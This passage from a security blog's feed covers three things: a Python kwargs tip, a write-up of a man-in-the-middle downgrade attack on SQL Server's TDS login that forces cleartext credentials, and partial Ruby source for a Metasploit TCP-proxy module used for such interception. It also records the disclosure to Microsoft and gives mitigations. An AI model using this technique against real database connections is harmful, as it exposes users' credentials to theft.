&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;lt;3&lt;/p&gt;
&lt;div class="section" id="small-update-this-also-works-with-dicts"&gt;
&lt;h2&gt;Small Update: this also works with dicts!&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;b&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Neat isn't it?&lt;/p&gt;
&lt;/div&gt;
</content><category term="coding"></category><category term="python"></category><category term="fancy"></category></entry><entry><title>Microsoft SQL Server Downgrade Attack</title><link href="//f0rki.at/microsoft-sql-server-downgrade-attack.html" rel="alternate"></link><published>2011-12-25T00:00:00+01:00</published><updated>2011-12-25T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2011-12-25:/microsoft-sql-server-downgrade-attack.html</id><summary type="html">&lt;p&gt;I took a look at the authentication mechanisms of the native network protocols of some of the more prominent dbms vendors. One of my targets was Microsofts SQL Server 2008 R2. MSSQL provides two methods for authentication: Integrated and Native Authentication. Integrated uses Windows OS user credentials to log into …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took a look at the authentication mechanisms of the native network protocols of some of the more prominent dbms vendors. One of my targets was Microsofts SQL Server 2008 R2. MSSQL provides two methods for authentication: Integrated and Native Authentication. Integrated uses Windows OS user credentials to log into the database. Native Authentication uses login credentials stored inside the SQL Server.&lt;/p&gt;
&lt;p&gt;MSSQL uses the Tabular DataStream protocol on the application layer. The specification is open for everyone to see at &lt;a class="reference external" href="http://msdn.microsoft.com/en-us/library/cc448435.aspx"&gt;mssqlspec&lt;/a&gt;. Native Authentication is done inside the TDS protocol. So let's take a look at that.&lt;/p&gt;
&lt;div class="section" id="native-authentication"&gt;
&lt;h2&gt;Native Authentication&lt;/h2&gt;
&lt;p&gt;TDS uses &lt;em&gt;no&lt;/em&gt; challenge-response-protocol to transmit the login credentials. There is a message called &lt;em&gt;LOGIN7&lt;/em&gt;, which contains username in cleartext and an obfuscated version of the password. The obfuscation algorithm is known and described in the specification. So it's actually cleartext. So I thought: &amp;quot;Nice! Easy sniffing.&amp;quot;. Let's have a look at typical login traffic in wireshark:&lt;/p&gt;
&lt;img alt="wireshark view - normal login" src="/img/mssql_downgrade/mssql_normal_wireshark.png" /&gt;
&lt;p&gt;As you can see there is no &lt;em&gt;LOGIN7&lt;/em&gt; packet, which should be decoded by wireshark. But if we have a closer look at the transmitted packets, we discover SSLish patterns (like the &amp;quot;SSL Self Signed Fallback&amp;quot; certificate).
Digging deeper into the specification, I found out, that Microsoft does something very strange here. They use SSL inside their application layer protocol. The whole SSL handshake is wrapped inside those &lt;em&gt;PRELOGIN&lt;/em&gt; packets.
Wireshark let's us decode the login traffic as SSL and we can see that packet number 10 can be decoded now as &amp;quot;SSL Application Data&amp;quot; record.&lt;/p&gt;
&lt;img alt="wireshark view - login decoded as ssl" src="/img/mssql_downgrade/mssql_ssldecode_wireshark.png" /&gt;
&lt;p&gt;So we can't really look into this SSL mess. Which sucks. So my first guess was to do the usual SSL MITM, serving a fake certificates. It turns out, this is pretty annoying to code, because of the handshake inside &lt;em&gt;PRELOGIN&lt;/em&gt; thing. Maybe I'll hack something together another time. Fortunately it turns out, there is an easier way :)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="first-prelogin"&gt;
&lt;h2&gt;First PRELOGIN&lt;/h2&gt;
&lt;p&gt;The first packet, a &lt;em&gt;PRELOGIN&lt;/em&gt; packet, is sent by the client to the server. The server answers with another packet of the same kind. It contains several fields to ensure compatibility, such as version, instance name and encryption :)&lt;/p&gt;
&lt;p&gt;The possible values for the &lt;em&gt;ENCRYPTION&lt;/em&gt; field are the following:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="30%" /&gt;
&lt;col width="11%" /&gt;
&lt;col width="59%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_OFF&lt;/td&gt;
&lt;td&gt;0x00&lt;/td&gt;
&lt;td&gt;Encryption available but off.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_ON&lt;/td&gt;
&lt;td&gt;0x01&lt;/td&gt;
&lt;td&gt;Encryption is available and on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;td&gt;0x02&lt;/td&gt;
&lt;td&gt;Encryption is not available.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_REQ&lt;/td&gt;
&lt;td&gt;0x03&lt;/td&gt;
&lt;td&gt;Encryption is required.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This values can be configured on the client and server. Default for both is &lt;em&gt;ENCRYPT_OFF&lt;/em&gt;, which means that only the &lt;em&gt;LOGIN7&lt;/em&gt; packet is encrypted. One can force Encryption of the whole connection on the client and server.&lt;/p&gt;
&lt;p&gt;It is specified how the client/server react to the value of the encryption field the other one sends:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="20%" /&gt;
&lt;col width="20%" /&gt;
&lt;col width="30%" /&gt;
&lt;col width="30%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td colspan="3"&gt;Server Setting:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Client Sends:&lt;/td&gt;
&lt;td&gt;ENCRYPT_OFF&lt;/td&gt;
&lt;td&gt;ENCRYPT_ON&lt;/td&gt;
&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_OFF&lt;/td&gt;
&lt;td&gt;ENCRYPT_OFF&lt;/td&gt;
&lt;td&gt;ENCRYPT_REQ&lt;/td&gt;
&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_ON&lt;/td&gt;
&lt;td&gt;ENCRYPT_ON&lt;/td&gt;
&lt;td&gt;ENCRYPT_ON&lt;/td&gt;
&lt;td&gt;ENCRYPT_NOT_SUP
(connection terminated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;td&gt;ENCRYPT_REQ
(connection terminated)&lt;/td&gt;
&lt;td&gt;ENCRYPT_NOT_SUP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So a Client cannot differntiate between a server, which does not support encryption at all, and a server which accepts a connection from a client not supporting encryption.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="downgrade-attack"&gt;
&lt;h2&gt;Downgrade Attack&lt;/h2&gt;
&lt;p&gt;So let's assume we are able to do a MITM attack and are able to modify the traffic passing through us. So we can just change the value of the encryption field to &lt;em&gt;ENCRYPT_NOT_SUP&lt;/em&gt; and we get a plaintext &lt;em&gt;LOGIN7&lt;/em&gt; packet. Yay :) I implemented this as some ugly scapy code, but also as a fancy metasploit module. Using this attack we can see something like this in wireshark:&lt;/p&gt;
&lt;img alt="wireshark view - downgrade attack in action" src="/img/mssql_downgrade/mssql_modified_wireshark.png" /&gt;
&lt;p&gt;You can download the metasploit module here:
&lt;a class="reference external" href="//f0rki.at/code/mssql_auth_downgrade.rb"&gt;mssql_auth_downgrade.rb&lt;/a&gt;
and a little script I used to prepare my MITM attack:
&lt;a class="reference external" href="//f0rki.at/code/mssql_mitm_prepare.sh"&gt;mssql_mitm_prepare.sh&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="disclosure-mitigation"&gt;
&lt;h2&gt;Disclosure &amp;amp; Mitigation&lt;/h2&gt;
&lt;p&gt;So I told Microsoft about this flaw in september and they told me the following:&lt;/p&gt;
&lt;blockquote&gt;
Please note that SQL Server does not offer an option to enforce encryption of only the login packet (a.k.a. username &amp;amp; password), and at this point we have no plans to introduce such option.&lt;/blockquote&gt;
&lt;p&gt;Ok so no plans to change something here. So I guess the best option is to use the &lt;em&gt;Force Encryption&lt;/em&gt; option of your server and clients to encrypt the whole connection or switch to integrated authentication, which is Microsofts recomendation anyway.&lt;/p&gt;
&lt;/div&gt;
</content><category term="security"></category><category term="mssql"></category><category term="mitm"></category><category term="downgrade"></category><category term="metasploit"></category></entry><entry><title>TCP Proxy for MITM Attacks in Metasploit</title><link href="//f0rki.at/tcp-proxy-for-mitm-attacks-in-metasploit.html" rel="alternate"></link><published>2011-11-20T00:00:00+01:00</published><updated>2011-11-20T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2011-11-20:/tcp-proxy-for-mitm-attacks-in-metasploit.html</id><summary type="html">&lt;p&gt;Some time ago I wrote my first metasploit module and therefore had to play around with ruby. The metasploit module I wrote implements a man-in-the-middle attack on an application layer protocol. So my module is both TCP Server and Client and therefore I like to call it TCP Proxy.&lt;/p&gt;
&lt;p&gt;Coming …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Some time ago I wrote my first metasploit module and therefore had to play around with ruby. The metasploit module I wrote implements a man-in-the-middle attack on an application layer protocol. So my module is both TCP Server and Client and therefore I like to call it TCP Proxy.&lt;/p&gt;
&lt;p&gt;Coming from a python background ruby was kind of strange at the beginning. I still don't know what to think of ruby. Some things are pretty cool, while other just seem weird. Anyway that's not the topic today.&lt;/p&gt;
&lt;p&gt;Implementing such a TCP Proxy with the mixins, which the metasploit framework provides, is quite easy... If you know your way around ruby, which I don't.
Anyway here's the code so that you can see for yourself how I managed to get this to run.
I used the Tcp and the TcpServer server mixins. The TcpServer mixin opens a listen port. When a client connects, I let the Tcp mixin connect to the real server and receive data from the client, send it to the server and then back. In the middle I can inspect or modify the data.&lt;/p&gt;
&lt;pre class="code ruby literal-block"&gt;
&lt;span class="c1"&gt;# Copyright (c) 2012, Michael Rodler (contact&amp;#64;f0rki.at)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#   Redistribution and use in source and binary forms, with or without&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#   modification, are permitted provided that the following conditions are met:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#   1. Redistributions of source code must retain the above copyright notice, this&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#      list of conditions and the following disclaimer.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#   2. Redistributions in binary form must reproduce the above copyright notice,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#      this list of conditions and the following disclaimer in the documentation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#      and/or other materials provided with the distribution.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &amp;quot;AS IS&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#       POSSIBILITY OF SUCH DAMAGE.&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'msf/core'&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Metasploit3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Auxiliary&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="c1"&gt;# mixin Tcp&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="kp"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Tcp&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="c1"&gt;# create alias methods&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cleanup_tcp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cleanup&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:run_tcp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="c1"&gt;# mixin TcpServer&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="kp"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Remote&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;TcpServer&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="c1"&gt;# create alias methods&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cleanup_tcpserver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:cleanup&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:run_tcpserver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:exploit_tcpserver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:exploit&lt;/span&gt;&lt;span class="w"&gt;


        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;update_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;&lt;span class="w"&gt;

                &lt;/span&gt;&lt;span class="c1"&gt;# in my case I didn't need this SSL stuff&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;deregister_options&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SSL'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'SSLCert'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'SSLVersion'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'RPORT'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

                &lt;/span&gt;&lt;span class="n"&gt;register_options&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
                                &lt;/span&gt;&lt;span class="no"&gt;OptPort&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SRVPORT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
                                &lt;/span&gt;&lt;span class="no"&gt;OptString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SRVHOST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Local listen address&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0.0.0.0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
                                &lt;/span&gt;&lt;span class="no"&gt;OptString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0.0.0.0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

                &lt;/span&gt;&lt;span class="c1"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;datastore&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;RPORT&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datastore&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SRVPORT&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;


        &lt;/span&gt;&lt;span class="c1"&gt;# run tcp server, i.e. start listening port&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;exploit_tcpserver&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;alias_method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:exploit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:run&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="c1"&gt;# cleanup method, which calls both Tcp and TcpServer cleanup&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;cleanup_tcp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;cleanup_tcpserver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="c1"&gt;# client connected, so we let the Tcp mixin connect&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;on_client_connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
